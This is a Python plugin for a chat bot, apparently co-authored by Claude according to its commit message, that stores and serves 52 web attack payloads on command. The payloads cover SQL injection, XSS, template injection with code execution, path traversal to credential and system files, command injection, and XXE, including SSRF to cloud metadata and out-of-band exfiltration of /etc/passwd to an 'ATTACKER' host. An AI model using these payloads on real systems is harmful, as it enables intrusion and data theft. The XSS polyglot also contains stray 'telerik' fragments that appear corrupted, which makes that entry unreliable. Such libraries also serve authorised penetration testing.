Files
derp/plugins/payload.py
user 4a2960b288 feat: add exploitdb and payload plugins, complete wave 4
ExploitDB: search local exploit-db CSV mirror by keyword, EDB ID,
or CVE identifier. In-bot update command downloads the latest CSV
from GitLab. Also added to the update-data.sh script.

Payload: built-in template library with 52 payloads across 6
categories (sqli, xss, ssti, lfi, cmdi, xxe). Supports browsing,
numeric index, and keyword search within categories.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 02:54:38 +01:00

168 lines
6.7 KiB
Python

"""Plugin: payload template library for common web vulnerabilities."""
from __future__ import annotations
from derp.plugin import command
# -- Payload database ---------------------------------------------------------
# Each category: list of (label, payload_string)
_PAYLOADS: dict[str, list[tuple[str, str]]] = {
"sqli": [
("auth bypass", "' OR 1=1--"),
("auth bypass 2", "' OR '1'='1"),
("union select", "' UNION SELECT NULL,NULL,NULL--"),
("union cols", "' ORDER BY 1--"),
("error-based", "' AND 1=CONVERT(int,(SELECT @@version))--"),
("time blind", "' AND SLEEP(5)--"),
("bool blind", "' AND 1=1--"),
("stacked", "'; EXEC xp_cmdshell('whoami')--"),
("comment", "' OR 1=1#"),
("double query", "' UNION SELECT 1,2,GROUP_CONCAT(table_name) "
"FROM information_schema.tables--"),
],
"xss": [
("basic", '<script>alert(1)</script>'),
("img onerror", '<img src=x onerror=alert(1)>'),
("svg onload", '<svg onload=alert(1)>'),
("event", '" onmouseover="alert(1)'),
("javascript:", 'javascript:alert(1)'),
("body onload", '<body onload=alert(1)>'),
("input autofocus", '<input autofocus onfocus=alert(1)>'),
("details", '<details open ontoggle=alert(1)>'),
("encoded", '&#60;script&#62;alert(1)&#60;/script&#62;'),
("polyglot", "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/**/oNcliCk=alert()"
" )//%%0telerik0telerik11telerik22//>*/alert(1)//"),
],
"ssti": [
("detect", "{{7*7}}"),
("jinja2", "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"),
("jinja2 rce", "{% for x in ().__class__.__base__.__subclasses__() %}"
"{% if 'warning' in x.__name__ %}"
"{{x()._module.__builtins__['__import__']('os').popen('id').read()}}"
"{% endif %}{% endfor %}"),
("twig", "{{_self.env.registerUndefinedFilterCallback('exec')}}"
"{{_self.env.getFilter('id')}}"),
("mako", "${__import__('os').popen('id').read()}"),
("freemarker", '<#assign ex="freemarker.template.utility.Execute"?new()>'
'${ex("id")}'),
("erb", "<%= system('id') %>"),
("pug", "#{root.process.mainModule.require('child_process')"
".execSync('id').toString()}"),
],
"lfi": [
("etc/passwd", "../../../../etc/passwd"),
("null byte", "../../../../etc/passwd%00"),
("double encode", "%252e%252e%252f%252e%252e%252fetc/passwd"),
("utf-8 encode", "..%c0%af..%c0%afetc/passwd"),
("wrapper b64", "php://filter/convert.base64-encode/resource=index.php"),
("wrapper input", "php://input"),
("proc self", "/proc/self/environ"),
("windows", "..\\..\\..\\..\\windows\\win.ini"),
("log poison", "/var/log/apache2/access.log"),
],
"cmdi": [
("pipe", "| id"),
("semicolon", "; id"),
("backtick", "`id`"),
("dollar", "$(id)"),
("newline", "%0aid"),
("and", "& id"),
("double and", "&& id"),
("or", "|| id"),
("redirect", "> /tmp/pwned"),
("blind sleep", "| sleep 5"),
],
"xxe": [
("file read", '<?xml version="1.0"?><!DOCTYPE foo ['
'<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
'<foo>&xxe;</foo>'),
("ssrf", '<?xml version="1.0"?><!DOCTYPE foo ['
'<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>'
'<foo>&xxe;</foo>'),
("blind oob", '<?xml version="1.0"?><!DOCTYPE foo ['
'<!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd">'
'%xxe;]><foo>test</foo>'),
("parameter", '<?xml version="1.0"?><!DOCTYPE foo ['
'<!ENTITY % file SYSTEM "file:///etc/passwd">'
'<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM '
"'http://ATTACKER/?x=%file;'>\">"
'%eval;%exfil;]><foo>test</foo>'),
("xinclude", '<foo xmlns:xi="http://www.w3.org/2001/XInclude">'
'<xi:include parse="text" href="file:///etc/passwd"/></foo>'),
],
}
_CATEGORIES = sorted(_PAYLOADS.keys())
_MAX_SHOW = 5
@command("payload", help="Payloads: !payload <type> [variant|list|all]")
async def cmd_payload(bot, message):
"""Web vulnerability payload template library.
Usage:
!payload list List available categories
!payload sqli Show first 5 SQLi payloads
!payload sqli all Show all SQLi payloads
!payload xss 3 Show payload #3 from XSS
!payload ssti jinja Search SSTI payloads for 'jinja'
"""
parts = message.text.split(None, 3)
if len(parts) < 2:
await bot.reply(message, f"Usage: !payload <{'|'.join(_CATEGORIES)}|list> [variant]")
return
sub = parts[1].lower()
if sub == "list":
items = []
for cat in _CATEGORIES:
items.append(f"{cat} ({len(_PAYLOADS[cat])})")
await bot.reply(message, f"Categories: {', '.join(items)}")
return
if sub not in _PAYLOADS:
await bot.reply(message, f"Unknown category: {sub} "
f"(valid: {', '.join(_CATEGORIES)})")
return
payloads = _PAYLOADS[sub]
arg = parts[2].strip() if len(parts) > 2 else ""
# Show all
if arg.lower() == "all":
for i, (label, payload) in enumerate(payloads, 1):
await bot.reply(message, f" {i}. [{label}] {payload}")
return
# Numeric index
if arg.isdigit():
idx = int(arg)
if 1 <= idx <= len(payloads):
label, payload = payloads[idx - 1]
await bot.reply(message, f"[{label}] {payload}")
else:
await bot.reply(message, f"Index out of range (1-{len(payloads)})")
return
# Keyword search within category
if arg:
matches = [(lbl, pl) for lbl, pl in payloads
if arg.lower() in lbl.lower() or arg.lower() in pl.lower()]
if not matches:
await bot.reply(message, f"No {sub} payloads matching '{arg}'")
return
for label, payload in matches[:_MAX_SHOW]:
await bot.reply(message, f" [{label}] {payload}")
if len(matches) > _MAX_SHOW:
await bot.reply(message, f" ({len(matches)} total)")
return
# Default: show first N
for i, (label, payload) in enumerate(payloads[:_MAX_SHOW], 1):
await bot.reply(message, f" {i}. [{label}] {payload}")
if len(payloads) > _MAX_SHOW:
await bot.reply(message, f" ({len(payloads)} total, "
f"use !payload {sub} all)")